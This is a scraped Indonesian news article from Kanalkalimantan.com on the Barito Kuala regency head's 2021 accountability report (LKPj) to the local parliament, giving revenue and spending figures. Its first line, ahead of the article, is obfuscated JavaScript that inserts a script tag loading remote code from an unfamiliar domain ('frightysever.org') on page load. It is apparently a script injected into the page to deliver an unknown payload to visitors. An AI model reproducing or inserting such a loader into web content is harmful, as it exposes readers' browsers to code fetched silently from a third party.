(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN– Disampaikan Wakil Bupati Barito Kulala, Rahmadian Noor, DPRD Kabupaten Barito Kuala menggelar Rapat Paripurna Penyampaian Laporan Keterangan Pertanggungjawaban (LKPj) Kepala Daerah Batola Tahun Anggaran (TA) 2021, Rabu (23/03/2021).
Nota penjelasan LKPj secara sistematis terkait hasil-hasil kinerja tahun 2021 secara global maupun hasil-hasil kinerja yang disajikan secara singkat, per sasaran pembangunan strategis sebagaimana diproyeksikan dalam KUA dan PPAS.
Berdasarkan struktur APBD Kabupaten Batola TA 2021, ungkap Rahmadian Noor, dalam kondisi kemampuan keuangan daerah cenderung menurun dibanding kondisi tahun-tahun sebelumnya. Secara keseluruhan berdasarkan data yang belum diaudit (unaudited) BPK pendapatan daerah di Kabupaten Batola tahun 2021 yaitru Rp1.244.007.198.588 dengan realisasi Rp1.282.148.034.284,20 atau 103,07 persen.
Arah kebijakan belanjanya mengacu pada upaya pencapaian target kinerja pelaksanaan program dan kegiatan sesuai prioritas pembangunan sebesar Rp1.350.689.400.950 dengan realisasi Rp1.273.505.771.068 atau 94,29 persen.
Baca juga : Jesalyn, Pelajar SMAN 2 Palangkaraya Kalahkan Siswa 23 Negara di Youth International Science Fair
Kemudian, pencapaian penyelenggaraan Pemkab Batola tahun 2021 diukur dari pencapaian pelaksanaan program dan kegiatan yang ditetapkan dalam perjanjian kinerja yang terbagi dalam empat bagian. Seperti pelaksanaan urusan wajib yang berkaitan pelayanan dasar, urusan wajib yang tak berkaitan pelayanan dasar, urusan pilihan, dan unsur penunjang urusan pemerintahan.
Sementara itu, Ketua DPRD Batola, Saleh, selaku pimpinan sidang mengatakan, disampaikannya laporan keterangan pertanggungjawaban ini merupakan informasi dari Kepala Daerah kepada DPRD, atas penyelenggaran pemerintahan daerah dalam kurun waktu 1 tahun anggaran.
Informasi yang disampaikan merupakan petunjuk untuk mengetahui sampai sejauh mana pelaksanaan pembangunan telah membawa hasil dan manfaat kepada masyarakat dan daerah.
Sedangkan informasi yang diterima DPRD yang disampaikan melalui pertanggungjawaban ini, merupakan bahan untuk memberikan masukan dan saran perbaikan guna penyempurnaan kebijakan dan implementasi pelaksanaannya ke depan.
“Selanjutnya, saya harapkan kepada semua fraksi dan komisi agar mempelajari dan mencermati terhadap LKPj ini. Sebagai bahan pembuatan rekomendasi yang nantinya akan disampaikan pada Rapat Paripurna dalam rangka Penyampaian Keputusan DPRD,” tandas Saleh. (Kanalkalimantan.com/rdy)
Reporter : rdy
Editor : kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
This website uses cookies.